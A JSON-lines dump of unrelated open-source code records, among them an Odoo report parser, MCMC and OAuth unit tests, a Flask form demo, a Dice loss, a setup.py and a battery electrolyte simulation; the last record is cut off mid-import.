'res.users',\n context=context)\n company = company_obj.browse(self.cr, uid, company_id, context=context)\n header_report_name = ' - '.join((_('JOURNALS'), company.name,\n company.currency_id.name))\n\n footer_date_time = self.formatLang(str(datetime.today()),\n date_time=True)\n\n self.localcontext.update({\n 'cr': cursor,\n 'uid': uid,\n 'report_name': _('Journals'),\n 'display_account_raw': self._get_display_account_raw,\n 'filter_form': self._get_filter,\n 'target_move': self._get_target_move,\n 'initial_balance': self._get_initial_balance,\n 'amount_currency': self._get_amount_currency,\n 'display_partner_account': self._get_display_partner_account,\n 'display_target_move': self._get_display_target_move,\n 'journals': self._get_journals_br,\n 'additional_args': [\n ('--header-font-name', 'Helvetica'),\n ('--footer-font-name', 'Helvetica'),\n ('--header-font-size', '10'),\n ('--footer-font-size', '6'),\n ('--header-left', header_report_name),\n ('--header-spacing', '2'),\n ('--footer-left', footer_date_time),\n ('--footer-right', ' '.join((_('Page'), '[page]', _('of'),\n '[topage]'))),\n ('--footer-line',),\n ],\n })\n\n def set_context(self, objects, data, ids, report_type=None):\n \"\"\"Populate a ledger_lines attribute on each browse record that will\n be used by mako template\"\"\"\n\n # Reading form\n main_filter = self._get_form_param('filter', data, default='filter_no')\n target_move = self._get_form_param('target_move', data, default='all')\n start_date = self._get_form_param('date_from', data)\n stop_date = self._get_form_param('date_to', data)\n start_period = self.get_start_period_br(data)\n stop_period = self.get_end_period_br(data)\n fiscalyear = self.get_fiscalyear_br(data)\n journal_ids = self._get_form_param('journal_ids', data)\n chart_account = self._get_chart_account_id_br(data)\n account_period_obj = self.pool.get('account.period')\n\n domain = [('journal_id', 'in', journal_ids)]\n if main_filter == 'filter_no':\n domain += [\n ('date', '>=',\n self.get_first_fiscalyear_period(fiscalyear).date_start),\n ('date', '<=',\n self.get_last_fiscalyear_period(fiscalyear).date_stop),\n ]\n # computation of move lines\n elif main_filter == 'filter_date':\n domain += [\n ('date', '>=', start_date),\n ('date', '<=', stop_date),\n ]\n elif main_filter == 'filter_period':\n period_ids = account_period_obj.build_ctx_periods(self.cursor,\n self.uid,\n start_period.id,\n stop_period.id)\n domain = [\n ('period_id', 'in', period_ids),\n ]\n if target_move == 'posted':\n domain += [('state', '=', 'posted')]\n account_journal_period_obj = self.pool.get('account.journal.period')\n new_ids = account_journal_period_obj.search(self.cursor, self.uid, [\n ('journal_id', 'in', journal_ids),\n ('period_id', 'in', period_ids),\n ])\n objects = account_journal_period_obj.browse(self.cursor, self.uid,\n new_ids)\n # Sort by journal and period\n objects.sorted(key=lambda a: (a.journal_id.code,\n a.period_id.date_start))\n move_obj = self.pool.get('account.move')\n moves = {}\n for journal_period in objects:\n domain_arg = [\n ('journal_id', '=', journal_period.journal_id.id),\n ('period_id', '=', journal_period.period_id.id),\n ]\n if target_move == 'posted':\n domain_arg += [('state', '=', 'posted')]\n move_ids = move_obj.search(self.cursor, self.uid, domain_arg,\n order=\"name\")\n moves[journal_period.id] = move_obj.browse(self.cursor, self.uid,\n move_ids)\n # Sort account move line by account accountant\n for move in moves[journal_period.id]:\n move.line_id.sorted(key=lambda a: (a.date, a.account_id.code))\n\n self.localcontext.update({\n 'fiscalyear': fiscalyear,\n 'start_date': start_date,\n 'stop_date': stop_date,\n 'start_period': start_period,\n 'stop_period': stop_period,\n 'chart_account': chart_account,\n 'moves': moves,\n })\n\n return super(PrintJournalWebkit, self).set_context(\n objects, data, new_ids, report_type=report_type)\n\nHeaderFooterTextWebKitParser(\n 'report.account.account_report_print_journal_webkit',\n 'account.journal.period',\n 'addons/account_financial_report_webkit/report/templates/\\\n account_report_print_journal.mako',\n parser=PrintJournalWebkit)\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","repo_name":"eneldoserrata/odoo8_community_modules","sub_path":"account_financial_report_webkit/report/print_journal.py","file_name":"print_journal.py","file_ext":"py","file_size_in_byte":6407,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"33028900631","text":"import unittest\nimport numpy as np\n\nimport pints\nimport pints.toy\n\nfrom shared import StreamCapture\n\n\nclass TestHamiltonianMCMC(unittest.TestCase):\n \"\"\"\n Tests the basic methods of the Hamiltonian MCMC routine.\n \"\"\"\n\n def test_method(self):\n\n # Create log pdf\n log_pdf = pints.toy.GaussianLogPDF([5, 5], [[4, 1], [1, 3]])\n\n # Create mcmc\n x0 = np.array([2, 2])\n sigma = [[3, 0], [0, 3]]\n mcmc = pints.HamiltonianMCMC(x0, sigma)\n\n # This method needs sensitivities\n self.assertTrue(mcmc.needs_sensitivities())\n\n # Set number of leapfrog steps\n ifrog = 10\n mcmc.set_leapfrog_steps(ifrog)\n\n # Perform short run\n chain = []\n for i in range(100 * ifrog):\n x = mcmc.ask()\n fx, gr = log_pdf.evaluateS1(x)\n reply = mcmc.tell((fx, gr))\n if reply is not None:\n y, fy, ac = reply\n if i >= 50 * ifrog:\n chain.append(y)\n self.assertTrue(isinstance(ac, bool))\n if ac:\n self.assertTrue(np.all(x == y))\n self.assertEqual(fx, fy[0])\n self.assertTrue(np.all(gr == fy[1]))\n\n chain = np.array(chain)\n self.assertEqual(chain.shape[0], 50)\n self.assertEqual(chain.shape[1], len(x0))\n\n def test_logging(self):\n # Test logging includes name and custom fields.\n\n log_pdf = pints.toy.GaussianLogPDF([5, 5], [[4, 1], [1, 3]])\n x0 = [np.array([2, 2]), np.array([8, 8])]\n\n mcmc = pints.MCMCController(\n log_pdf, 2, x0, method=pints.HamiltonianMCMC)\n mcmc.set_max_iterations(5)\n with StreamCapture() as c:\n mcmc.run()\n text = c.text()\n\n self.assertIn('Hamiltonian Monte Carlo', text)\n self.assertIn(' Accept.', text)\n\n def test_flow(self):\n\n log_pdf = pints.toy.GaussianLogPDF([5, 5], [[4, 1], [1, 3]])\n x0 = np.array([2, 2])\n\n # Test initial proposal is first point\n mcmc = pints.HamiltonianMCMC(x0)\n self.assertTrue(np.all(mcmc.ask() == mcmc._x0))\n\n # Repeated asks\n self.assertRaises(RuntimeError, mcmc.ask)\n\n # Tell without ask\n mcmc = pints.HamiltonianMCMC(x0)\n self.assertRaises(RuntimeError, mcmc.tell, 0)\n\n # Repeated tells should fail\n x = mcmc.ask()\n mcmc.tell(log_pdf.evaluateS1(x))\n self.assertRaises(RuntimeError, mcmc.tell, log_pdf.evaluateS1(x))\n\n # Bad starting point\n mcmc = pints.HamiltonianMCMC(x0)\n mcmc.ask()\n self.assertRaises(\n ValueError, mcmc.tell, (-np.inf, np.array([1, 1])))\n\n def test_set_hyper_parameters(self):\n # Tests the parameter interface for this sampler.\n\n x0 = np.array([2, 2])\n mcmc = pints.HamiltonianMCMC(x0)\n\n # Test leapfrog parameters\n n = mcmc.leapfrog_steps()\n d = mcmc.leapfrog_step_size()\n self.assertIsInstance(n, int)\n self.assertTrue(len(d) == mcmc._n_parameters)\n\n mcmc.set_leapfrog_steps(n + 1)\n self.assertEqual(mcmc.leapfrog_steps(), n + 1)\n self.assertRaises(ValueError, mcmc.set_leapfrog_steps, 0)\n\n mcmc.set_leapfrog_step_size(0.5)\n self.assertEqual(mcmc.leapfrog_step_size()[0], 0.5)\n self.assertRaises(ValueError, mcmc.set_leapfrog_step_size, -1)\n\n self.assertEqual(mcmc.n_hyper_parameters(), 2)\n mcmc.set_hyper_parameters([n + 2, 2])\n self.assertEqual(mcmc.leapfrog_steps(), n + 2)\n self.assertEqual(mcmc.leapfrog_step_size()[0], 2)\n\n mcmc.set_epsilon(0.4)\n self.assertEqual(mcmc.epsilon(), 0.4)\n self.assertRaises(ValueError, mcmc.set_epsilon, -0.1)\n mcmc.set_leapfrog_step_size(1)\n self.assertEqual(len(mcmc.scaled_epsilon()), 2)\n self.assertEqual(mcmc.scaled_epsilon()[0], 0.4)\n self.assertEqual(len(mcmc.divergent_iterations()), 0)\n self.assertRaises(ValueError, mcmc.set_leapfrog_step_size, [1, 2, 3])\n\n mcmc.set_leapfrog_step_size([1.5, 3])\n self.assertEqual(mcmc.leapfrog_step_size()[0], 1.5)\n self.assertEqual(mcmc.leapfrog_step_size()[1], 3)\n\n def test_other_setters(self):\n # Tests other setters and getters.\n x0 = np.array([2, 2])\n mcmc = pints.HamiltonianMCMC(x0)\n self.assertRaises(ValueError, mcmc.set_hamiltonian_threshold, -0.3)\n threshold1 = mcmc.hamiltonian_threshold()\n self.assertEqual(threshold1, 10**3)\n threshold2 = 10\n mcmc.set_hamiltonian_threshold(threshold2)\n self.assertEqual(mcmc.hamiltonian_threshold(), threshold2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"pints-team/pints","sub_path":"pints/tests/test_mcmc_hamiltonian.py","file_name":"test_mcmc_hamiltonian.py","file_ext":"py","file_size_in_byte":4738,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"75"} +{"seq_id":"38885816042","text":"from flask import Flask, render_template, request\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom flask_wtf import FlaskForm\nfrom wtforms.ext.sqlalchemy.orm import model_form\n\napp = Flask(__name__)\napp.secret_key = \"mikalegall\"\ndb = SQLAlchemy(app)\n\n\nclass Merkinnat(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n kommentti = db.Column(db.String, nullable=False)\n tekija = db.Column(db.String, nullable=False)\n\nMerkinnatLomake = model_form(Merkinnat, base_class=FlaskForm, db_session=db.session)\n\n@app.before_first_request\ndef alustus():\n db.create_all()\n\n kommentti = Merkinnat(kommentti=\"Kukkuu\", tekija=\"Minä\")\n db.session.add(kommentti)\n\n kommentti = Merkinnat(kommentti=\"Huhuu\", tekija=\"Sinä\")\n db.session.add(kommentti)\n\n db.session.commit()\n\n\n@app.route('/')\ndef index():\n\tkyselytulokset = Merkinnat.query.all()\n\treturn render_template('index.html', lista=kyselytulokset)\n\n@app.route(\"/ormform\", methods=[\"GET\", \"POST\"])\ndef addForm():\n lomake = MerkinnatLomake()\n print(request.form) #Kehityksen aikainen konsolituloste\n return render_template(\"ormform.html\", form=lomake)\n\n\nif __name__ == \"__main__\":\n\tapp.run()\n","repo_name":"mikalegall/flask","sub_path":"hello_form_sql_alchemy/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36708344507","text":"from pathlib import Path\nfrom snakemake.common import is_local_file\nfrom snakemake.exceptions import WorkflowError\n\n\ndef get_resource_as_string(path_or_uri):\n import requests\n\n if is_local_file(path_or_uri):\n return open(Path(__file__).parent.parent / \"template\" / path_or_uri).read()\n else:\n r = requests.get(path_or_uri)\n if r.status_code == requests.codes.ok:\n return r.text\n raise WorkflowError(\n \"Failed to download resource needed for report: {}\".format(path_or_uri)\n )\n","repo_name":"snakemake/snakemake","sub_path":"snakemake/report/data/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":1986,"dataset":"github-code","pt":"75"} +{"seq_id":"32674772970","text":"import torch\nimport torch.nn as nn\n\nclass BinaryDiceLoss(nn.Module):\n def __init__(self, smooth=1, p=2):\n super(BinaryDiceLoss, self).__init__()\n self.smooth = smooth\n self.p = p\n\n def forward(self, predict, target, flag):\n assert predict.shape[0] == target.shape[0], \"predict & target batch size don't match\"\n predict = predict.contiguous().view(predict.shape[0], -1)\n target = target.contiguous().view(target.shape[0], -1)\n\n intersection = self.smooth\n union = self.smooth\n if flag is None:\n pd = predict\n gt = target\n intersection += torch.sum(pd*gt)*2\n union += torch.sum(pd.pow(self.p) + gt.pow(self.p))\n else:\n for i in range(target.shape[0]):\n if flag[i,0] > 0:\n pd = predict[i:i+1,:]\n gt = target[i:i+1,:]\n intersection += torch.sum(pd*gt)*2\n union += torch.sum(pd.pow(self.p) + gt.pow(self.p))\n dice = intersection / union\n\n loss = 1 - dice\n return loss\n \nclass DiceLoss(nn.Module):\n def __init__(self, weight=None, ignore_index=[], **kwargs):\n super(DiceLoss, self).__init__()\n self.kwargs = kwargs\n if weight is not None:\n self.weight = weight / weight.sum()\n else:\n self.weight = None\n self.ignore_index = ignore_index\n\n def forward(self, predict, target, flag=None):\n assert predict.shape == target.shape, 'predict & target shape do not match'\n dice = BinaryDiceLoss(**self.kwargs)\n total_loss = 0\n total_loss_num = 0\n\n for c in range(target.shape[1]):\n if c not in self.ignore_index:\n dice_loss = dice(predict[:, c], target[:, c], flag)\n if self.weight is not None:\n assert self.weight.shape[0] == target.shape[1], \\\n 'Expect weight shape [{}], get[{}]'.format(target.shape[1], self.weight.shape[0])\n dice_loss *= self.weight[c]\n total_loss += dice_loss\n total_loss_num += 1\n\n if self.weight is not None:\n return total_loss\n elif total_loss_num > 0:\n return total_loss/total_loss_num\n else:\n return 0","repo_name":"DIAL-RPI/SCO-SSL","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"75"} +{"seq_id":"6466167452","text":"import urllib\nimport contextlib\nfrom typing import Dict, List, Union, ContextManager\n\nimport flask\nimport flask_login\nimport pytest\nfrom tests import AuthActions\n\nfrom server.api.blueprints.login import (\n handle_oauth,\n validate_inputs,\n create_or_get_oauth,\n)\nfrom server.api.database.models import BlacklistToken, User, OAuth, Provider\nfrom server.error_handling import RouteError, TokenError\n\n\n@pytest.fixture\ndef fake_profile():\n return {\n \"name\": \"test\",\n \"email\": \"t@t.com\",\n \"picture\": {\"data\": {\"url\": \"test.jpg\"}},\n \"provider_user_id\": 1111,\n }\n\n\n@pytest.fixture\ndef mock_oauth_user_id(responses, fake_profile, social_network):\n user_id = {\"data\": {\"user_id\": fake_profile[\"provider_user_id\"]}}\n responses.add(\n responses.GET,\n social_network.base_url + social_network.token_metadata_url,\n status=200,\n json=user_id,\n )\n\n\n@pytest.fixture\ndef mock_oauth_profile(responses, fake_profile, social_network):\n responses.add(\n responses.GET,\n f\"{social_network.base_url}{fake_profile['provider_user_id']}\",\n status=200,\n json=fake_profile,\n )\n\n\ndef test_normal_register(app, auth: AuthActions):\n resp = auth.register()\n assert \"auth_token\" in resp.json\n assert \"refresh_token\" in resp.json\n assert \"user\" in resp.json\n with app.app_context():\n assert User.query.filter_by(email=\"test@test.com\").one()\n\n\ndef test_login(user, auth):\n resp = auth.login()\n assert \"auth_token\" in resp.json\n assert \"refresh_token\" in resp.json\n assert user.to_dict()[\"id\"] == resp.json[\"user\"][\"id\"]\n payload = User.decode_token(resp.json[\"auth_token\"])\n assert \"email\" in payload\n\n\ndef test_login_validate_input(auth: AuthActions):\n resp = auth.login(\"t@aaa.com\", \"123\")\n assert resp.json.get(\"message\") == \"Invalid email or password.\"\n\n\ndef test_encode_auth_token(user):\n auth_token = user.encode_auth_token()\n assert isinstance(auth_token, bytes)\n\n\ndef test_decode_auth_token(user):\n auth_token = user.encode_auth_token()\n assert isinstance(auth_token, bytes)\n assert User.from_login_token(auth_token.decode(\"utf-8\")) == user\n\n\ndef test_logout(auth: AuthActions):\n login = auth.login()\n resp = auth.logout()\n assert \"Logged out successfully\" in resp.json.get(\"message\")\n # check that token was blacklisted\n refresh_token = login.json.get(\"refresh_token\")\n auth_token = login.json.get(\"auth_token\")\n assert len(BlacklistToken.query.all()) == 2\n assert all(\n (\n token.token == auth_token or token.token == refresh_token\n for token in BlacklistToken.query.all()\n )\n )\n\n\ndef test_blacklist_token(app, auth: AuthActions):\n resp_login = auth.login()\n with app.app_context():\n blacklist_token = BlacklistToken(token=resp_login.json[\"auth_token\"])\n blacklist_token.save()\n resp = auth.logout()\n assert \"BLACKLISTED_TOKEN\" in str(resp.json)\n\n\ndef test_invalid_token(auth: AuthActions):\n resp = auth.logout(headers={\"Authorization\": \"Bearer NOPE\"})\n assert \"INVALID_TOKEN\" in resp.json.get(\"message\")\n\n\n@pytest.mark.parametrize(\n (\"email\", \"password\", \"name\", \"area\", \"message\"),\n (\n (\"\", \"bb\", \"test\", \"test\", \"Email is required.\"),\n (\"tt@t.com\", \"\", \"test\", \"test\", \"Password is required.\"),\n (\"ttom\", \"a\", \"test\", \"test\", \"Email is not valid.\"),\n (\"test\", \"a\", \"test\", \"\", \"Area is required.\"),\n (\"test\", \"a\", \"\", \"test\", \"Name is required.\"),\n (\"t@test.com\", \"a\", \"a\", \"A\", \"Email is already registered.\"),\n ),\n)\ndef test_register_validate_input(\n auth: AuthActions, email, password, name, area, message\n):\n resp = auth.register(email=email, password=password, name=name, area=area)\n assert message in resp.json.get(\"message\")\n\n\ndef test_exchange_token(requester, user: User):\n resp = requester.post(\n \"/login/exchange_token\",\n json={\"exchange_token\": user.encode_exchange_token().decode()},\n )\n assert \"user\" in resp.json\n assert \"auth_token\" in resp.json\n assert user == User.from_login_token(resp.json[\"auth_token\"])\n\n\ndef test_refresh_token_payload(auth, user: User):\n \"\"\"check that refresh token after login\n has a scope and a user_id\"\"\"\n resp = auth.login()\n assert resp.json[\"refresh_token\"]\n payload = User.decode_token(resp.json[\"refresh_token\"])\n assert payload[\"scope\"]\n assert User.from_payload(payload) == user\n\n\ndef test_refresh_token_endpoint(auth, requester):\n \"\"\"check that a valid refresh token\n generates a new auth token, and an invalid token\n doesn't\"\"\"\n auth.login()\n resp = requester.post(\n \"/login/refresh_token\", json={\"refresh_token\": auth.refresh_token}\n )\n assert resp.json[\"auth_token\"]\n resp = requester.post(\"/login/refresh_token\", json={\"refresh_token\": \"none\"})\n assert \"INVALID_TOKEN\" in resp.json[\"message\"]\n\n\ndef test_refresh_without_refresh_token(requester):\n \"\"\"call refresh endpoint without token\"\"\"\n resp = requester.post(\"/login/refresh_token\", json={\"refresh_token\": \"\"})\n assert \"INAVLID_REFRESH_TOKEN\" == resp.json[\"message\"]\n\n\ndef test_validate_inputs():\n with pytest.raises(RouteError):\n validate_inputs({\"name\": \"test\", \"area\": \"test\", \"email\": \"test\"})\n validate_inputs({\"name\": \"test\"})\n validate_inputs({\"name\": \"test\"}, required=[\"phone\"])\n assert validate_inputs({\"name\": \"test\"}, required=[\"name\"])\n assert validate_inputs({\"name\": \"test\", \"area\": \"test\"}, required=[\"name\", \"area\"])\n assert validate_inputs({\"name\": \"test\", \"area\": \"test\"}, required=[])\n\n\ndef test_edit_data(app, user, requester, auth: AuthActions):\n auth.login()\n resp = requester.post(\"/login/edit_data\", json={\"name\": \"new\", \"phone\": \"0533333\"})\n assert \"new\" == resp.json[\"data\"][\"name\"]\n assert user.area == resp.json[\"data\"][\"area\"]\n assert user.phone == \"0533333\"\n resp = requester.post(\"/login/edit_data\", json={\"area\": \"new\"})\n assert \"new\" == resp.json[\"data\"][\"area\"]\n assert requester.post(\"/login/edit_data\", json={})\n assert requester.post(\"/login/edit_data\", json={\"password\": \"new\"})\n\n\ndef test_oauth_first_step(client, auth, requester, social_network):\n with client:\n auth.login()\n resp = requester.get(f\"/login/{social_network.network_name}\")\n assert resp.status_code == 302 # redirect\n assert flask.session[\"state\"]\n auth.logout()\n assert flask_login.current_user.is_authenticated\n assert not flask_login.current_user.is_authenticated\n\n\ndef test_register_with_oauth(\n app: flask.Flask,\n fake_profile,\n mock_oauth_user_id,\n mock_oauth_profile,\n fake_token,\n social_network,\n):\n \"\"\"Tests that a new user was registered\"\"\"\n with app.test_request_context(\"/\"):\n resp = handle_oauth(social_network, fake_token)\n user = User.query.filter_by(name=fake_profile[\"name\"]).first()\n assert user.email\n assert \"token=\" in resp.headers[\"Location\"]\n\n\ndef test_login_with_oauth(\n app: flask.Flask,\n fake_token,\n user,\n mock_oauth_user_id,\n fake_profile,\n requester,\n social_network,\n):\n length = len(User.query.all())\n OAuth.create(\n provider=getattr(Provider, social_network.network_name),\n provider_user_id=fake_profile[\"provider_user_id\"],\n token=fake_token,\n user=user,\n )\n with app.test_request_context(\"/\"):\n resp = handle_oauth(social_network, fake_token)\n assert len(User.query.all()) == length\n assert \"token\" in resp.headers[\"Location\"]\n\n\ndef test_oauth_no_token(social_network):\n resp = handle_oauth(social_network, None)\n assert urllib.parse.quote(\"No token\") in resp.headers[\"Location\"]\n\n\n@contextlib.contextmanager\ndef logged_in_context(app, auth, endpoint=\"\", **kwargs) -> ContextManager[None]:\n \"\"\"A manager to enter and exit a logged-in request context\"\"\"\n auth.login(**kwargs)\n with app.test_request_context(\n f\"/{endpoint}\", headers={\"Authorization\": f\"Bearer {auth.auth_token}\"}\n ) as fp:\n yield fp\n auth.logout()\n\n\ndef test_oauth_session(\n app: flask.Flask,\n auth,\n fake_token,\n mock_oauth_profile,\n mock_oauth_user_id,\n social_network,\n):\n with logged_in_context(app, auth, f\"login/{social_network.network_name}\"):\n assert flask_login.current_user.is_authenticated\n handle_oauth(social_network, fake_token)\n assert not flask_login.current_user.is_authenticated\n\n\ndef test_create_or_get_oauth(user, app, fake_profile, fake_token, social_network):\n with app.app_context():\n oauth = create_or_get_oauth(\n social_network.network_name, fake_profile[\"provider_user_id\"], fake_token\n )\n assert oauth.token == fake_token\n OAuth.create(\n provider=getattr(Provider, social_network.network_name),\n provider_user_id=fake_profile[\"provider_user_id\"],\n token=fake_token,\n user=user,\n )\n oauth = create_or_get_oauth(\n social_network.network_name, fake_profile[\"provider_user_id\"], fake_token\n )\n assert oauth.user == user\n","repo_name":"AdamGold/Dryvo","sub_path":"tests/test_auth.py","file_name":"test_auth.py","file_ext":"py","file_size_in_byte":9212,"program_lang":"python","lang":"en","doc_type":"code","stars":598,"dataset":"github-code","pt":"75"} +{"seq_id":"32508111258","text":"\"\"\"Setup script\"\"\"\nimport os\nimport re\nimport sys\n\nimport pkg_resources\nfrom setuptools import find_packages, setup\n\n__pkg_name__ = 'ncbitaxonomy'\n__author__ = 'awright'\n__description__ = 'The basic NCBI taxonomy functionality from ETE3'\n__keywords__ = \"tree, tree reconstruction, tree visualization, tree comparison, phylogeny, phylogenetics, phylogenomics\"\n__url__ = \"https://github.com/epi2me-labs/ncbitaxonomy\"\n__classifiers__ = [\n \"Development Status :: 6 - Mature\",\n \"Environment :: Console\",\n \"Environment :: X11 Applications :: Qt\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Other Audience\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: GNU General Public License (GPL)\",\n \"Natural Language :: English\",\n \"Operating System :: MacOS\",\n \"Operating System :: Microsoft :: Windows\",\n \"Operating System :: POSIX :: Linux\",\n \"Programming Language :: Python\",\n \"Topic :: Scientific/Engineering :: Bio-Informatics\",\n \"Topic :: Scientific/Engineering :: Visualization\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n]\n\n# Use readme as long description and say its github-flavour markdown\nfrom os import path\nthis_directory = path.abspath(path.dirname(__file__))\nkwargs = {'encoding': 'utf-8'} if sys.version_info.major == 3 else {}\nwith open(path.join(this_directory, 'README.md'), **kwargs) as f:\n __long_description__ = f.read()\n__long_description_content_type__ = 'text/markdown'\n\n__path__ = os.path.dirname(__file__)\n__pkg_path__ = os.path.join(os.path.join(__path__, __pkg_name__))\n\n# Get the version number from __init__.py, and exe_path\nverstrline = open(os.path.join(__pkg_name__, '__init__.py'), 'r').read()\nvsre = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\"\nmo = re.search(vsre, verstrline, re.M)\nif mo:\n __version__ = mo.group(1)\nelse:\n raise RuntimeError('Unable to find version string in \"{}/__init__.py\".'.format(__pkg_name__))\n\ndir_path = os.path.dirname(__file__)\nwith open(os.path.join(dir_path, 'requirements.txt')) as fh:\n install_requires = [\n str(requirement) for requirement in\n pkg_resources.parse_requirements(fh)]\n\ndata_files = []\nextensions = []\nextra_requires = {}\n\nsetup(\n name=__pkg_name__,\n version=__version__,\n classifiers=__classifiers__,\n keywords=__keywords__,\n author=__author__,\n author_email='{}@nanoporetech.com'.format(__author__),\n description=__description__,\n long_description=__long_description__,\n long_description_content_type=__long_description_content_type__,\n dependency_links=[],\n ext_modules=extensions,\n install_requires=install_requires,\n tests_require=[].extend(install_requires),\n extras_require=extra_requires,\n python_requires='>=3.5.2',\n packages=find_packages(exclude=['*.test', '*.test.*', 'test.*', 'test']),\n data_files=data_files,\n package_data={},\n include_package_data=True,\n zip_safe=False,\n test_suite=None,\n entry_points={},\n)\n","repo_name":"JulianMohr/ncbitaxonomy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"12458172124","text":"#capturar las notas de un curso y calcular el promedio d estas.\n\n#Mostrar en pantalla el resultado del promedio \n\n\ncant = int(input(\"Cual es la cantidad de notas: \")) \n\nsumaNotas = 0\n\nfor i in range( 1, cant + 1): \n nota = float(input(f\"Ingresa la nota:# {i}: \" )) \n sumaNotas = sumaNotas + nota \n\nprom = sumaNotas / cant\n\nprint(f\"El promedio de las notas es: {prom:.1f} \" )","repo_name":"Serranomanuel/campuslandarchivos","sub_path":"03 Estructuras repetitivas/Estructuras-repetitivas/calcular-notas.py","file_name":"calcular-notas.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16356025163","text":"from ecomstore import settings\nfrom ecomstore.catalog.models import Category\n\ndef ecomstore(request):\n \"\"\" context processor for the site templates \"\"\"\n return {\n\t 'active_categories': Category.objects.filter(is_active=True),\n 'site_name': settings.SITE_NAME,\n 'meta_keywords': settings.META_KEYWORDS,\n 'meta_description': settings.META_DESCRIPTION,\n 'request': request\n }\n","repo_name":"cs110-2012-fall/ecomstore_12_2-social","sub_path":"ecomstore/utils/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32352414132","text":"from appJar import gui\n\nfrom cards import Card\n\n\napp = gui()\n\n\napp.addLabelOptionBox(\"color\", [Card.DIAMONDS, Card.SPADES, Card.CLUBS, Card.HEARTS], 0, 0)\napp.addLabelOptionBox(\"value\", [str(i) for i in range(1, 14)], 0, 1)\n\n\ndef on_click(button):\n color = app.getOptionBox(\"color\")\n value = app.getOptionBox(\"value\")\n app.setImage(\"card_image\", Card(int(value), color).image())\n\napp.addButton(\"show card\", on_click, 1, 0, 2)\n\n\napp.addImage(\"card_image\", \"resources/empty.gif\", 2, 0, 2)\n\n\napp.go()","repo_name":"gaetanpardon/flood","sub_path":"PycharmProjects/obj2/UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24520070179","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 7 10:40:57 2020\r\n\r\n@author: tomff\r\n\"\"\"\r\nimport numpy as np\r\nfrom scipy.constants import e, R, N_A\r\nfrom scipy.integrate import odeint\r\nimport matplotlib.pyplot as plt\r\n#from matplotlib.widgets import Slider\r\n\r\nL = 20 #thickness of separator, microns\r\ncd = 350 #current density, A/m^2\r\nF = e*N_A # Faraday's constant, C/eq\r\nc0 = 1000 #concentration of electrolyte, mol/m^3\r\neps = 0.3\r\nt_plus = 0.0 #lithium ion transference number\r\nD_b = 2.79e-10 #diffusivity, m^2/s\r\nD_e = eps**1.5 * D_b\r\n\r\n\r\ndef conductivity(c):\r\n k_eff = 0.0911 + 1.9101e-3*c - 1.05e-6*c*c + 0.1554e-9*c*c*c\r\n return k_eff\r\n\r\ndef dy_dx(y,x):\r\n c = ((cd/F)*(1-t_plus)/D_e)*(L/2-x)*1e-6 + c0\r\n k_eff = eps**1.5 * (0.0911 + 1.9101e-3*c - 1.05e-6*c*c + 0.1554e-9*c*c*c)\r\n return -1e-6*cd/k_eff\r\n\r\n#SET UP PLOT\r\nplt.rc('font', size=14)\r\nplt.rc('font',family='Times New Roman')\r\nplt.rc('font', family='Arial')\r\nfig, (ax1, ax2, ax3) = plt.subplots(3, sharex=False, figsize=(8,10))\r\nfig.suptitle('Separator of Li-ion battery')\r\nax1.grid(True)\r\nax2.grid(True)\r\nax3.grid(True)\r\nax1.set_xlim( xmin=0,xmax=3000)\r\nax2.set_ylim(ymin=0.0, ymax=2500)\r\nax2.set_xlim(xmin=0, xmax=L)\r\nax3.set_xlim(xmin=0, xmax=L)\r\nax1.set_xlabel(r'Salt concentration mol/m3')\r\nax1.set_ylabel(r'Electrolyte conductivity, S/m')\r\nax2.set_xlabel(r'Distance microns')\r\nax2.set_ylabel(r'salt concentration')\r\nax3.set_ylabel(r'$ \\phi_2 $')\r\n\r\n\r\n\r\nx = np.linspace(0, L, num=100)\r\nk_eff = np.zeros(100)\r\nc = np.linspace(0,3000, num=100)\r\nk_eff = conductivity(c)\r\nax1.plot(c, k_eff, label=r'conductivity')\r\nk_eff = eps**1.5 * conductivity(c)\r\nc = np.zeros(100)\r\n\r\n\r\n\r\nc = ((cd/F)*(1-t_plus)/D_e)*(L/2-x)*1e-6 + c0\r\nk_eff = conductivity(c)\r\n\r\ny0 = 0\r\nsol = odeint(dy_dx, y0, x)\r\nax2.plot(x, c)\r\nax3.plot(x, sol)\r\n#ax3.plot(x, 1000*sol)","repo_name":"TomFuller-electrochemistry/Python-Simulations-for-the-Education-of-Electrochemists-and-Electrochemical-Engineers","sub_path":"Transport properties binary concentrated electrolyte/lithium_transference2.py","file_name":"lithium_transference2.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"75"} +{"seq_id":"15453925519","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 31.03.2021\n\n@author: Martin\n\"\"\"\n\nimport argparse\nimport os\nimport 